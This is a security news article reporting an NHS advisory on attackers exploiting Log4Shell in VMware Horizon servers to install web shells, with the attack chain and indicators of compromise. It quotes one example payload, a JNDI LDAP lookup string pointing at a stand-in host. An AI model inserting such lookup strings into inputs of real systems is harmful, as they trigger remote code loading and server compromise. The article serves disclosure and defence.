Pierluigi Paganini January 07, 2022

A threat actor attempted to exploit the Log4Shell vulnerability to hack VMWare Horizon servers at UK NHS and deploy web shells.

The security team at the UK National Health Service (NHS) announced to have spotted threat actors exploiting the Log4Shell vulnerability to hack VMWare Horizon servers and install web shells.

“An unknown threat group has been observed targeting VMware Horizon servers running versions affected by Log4Shell vulnerabilities in order to establish persistence within affected networks.” reads the security advisory published by NHS.

“The attack likely consists of a reconnaissance phase, where the attacker uses the Java Naming and Directory Interface^TM (JNDI) via Log4Shell payloads to call back to malicious infrastructure. Once a weakness has been identified, the attack then uses the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.”

Once installed a web shell, threat actors can use it to carry out a broad range of malicious activities, such as deploying data exfiltration or deployment of ransomware.

In mid-December, experts reported that the Conti ransomware gang was the first professional group that leveraged Log4Shell exploit to compromise VMware vCenter Server installs. The ransomware group used the exploit to target internal devices that are not protected.

The CVE-2021-44228 flaw made the headlines in December, after Chinese security researcher p0rz9 publicly disclosed a Proof-of-concept exploit for the critical remote code execution zero-day vulnerability (aka Log4Shell) that affects the Apache Log4j Java-based logging library.

According to the NHS, threat actors are looking for unpatched VMWare Horizon servers to exploit the Log4Shell vulnerability.

The attackers employed a Log4Shell payload similar to ${jndi:ldap://example.com}, then launches a PowerShell command, spawned from ws_TomcatService.exe.

When the attackers find a vulnerable server, they use the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.

NHS recommends organizations to look for the following indicators of exploitation:

• Evidence of ws_TomcatService.exe spawning abnormal processes
• Any powershell.exe processes containing ‘VMBlastSG’ in the commandline
• File modifications to ‘…\VMware\VMware View\Server\appblastgateway\lib\absg-worker.js’ – This file is generally overwritten during upgrades, and not modified

Affected organisations should review the VMware Horizon section of the VMware security advisory (VMSA-2021-0028) and apply security updates or mitigations as soon as possible.

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Pierluigi Paganini

(SecurityAffairs – hacking, NHS)

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